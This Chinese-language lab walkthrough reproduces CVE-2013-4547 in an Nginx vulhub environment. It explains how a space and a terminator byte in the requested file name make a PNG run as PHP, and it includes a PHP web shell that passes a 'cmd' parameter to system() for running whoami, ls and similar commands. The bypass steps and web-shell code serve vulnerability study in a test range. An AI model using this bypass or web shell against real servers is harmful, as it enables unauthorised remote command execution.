漏洞原理
CVE-2013-4547漏洞是由于非法字符空格和截止符導致Nginx在解析URL時的有限狀態機混亂,導致攻擊者可以通過一個非編碼空格繞過后綴名限制。假設服務器中存在文件1. jpg,則可以通過改包訪問讓服務器認為訪問的為PHP文件。
漏洞復現
開啟靶場
進入/vulhub/nginx/CVE-2013-4547,啟動靶場環境:
docker-compose up -d
然后訪問目標主機的8080端口
http://192.168.61.131:8080/
演示
驗證漏洞
先上傳正常的png圖片,發現上傳成功并且會顯示文件路徑
試試上傳php文件,會不讓上傳
上傳帶有php代碼的png圖片并且抓包,在文件名后添一個空格,看到返回包中顯示了上傳成功的文件
<?php phpinfo(); ?>
訪問shell.png
http://192.168.61.131:8080/uploadfiles/shell.png...php
抓包把 …php 前面的兩個 . 改成一個空格一個截斷符
漏洞利用
上傳木馬
<?php
$a = $_GET["cmd"];
system($a);
?>
上傳帶有php代碼的圖片文件a.png,然后抓包后在文件名后加一個空,看到返回包顯示了文件路徑
然后訪問下面路徑,再進行抓包
http://192.168.61.131:8080/uploadfiles/a.png...php?cmd=whoami
抓包把 …php 前面的兩個 . 改成一個空格一個截斷符,發現返回包執行了whoami的命令
執行ls命令
執行id命令
執行ping命令
總結
這個漏洞其實和代碼執行沒有太大關系,其主要原因是錯誤地解析了請求的URI,錯誤地獲取到用戶請求的文件名,導致出現權限繞過、代碼執行的連帶影響。
配置不當:該漏洞與 Nginx、php 版本無關,屬于用戶配置不當造成的解析漏洞。
CVE-2013-4547:影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7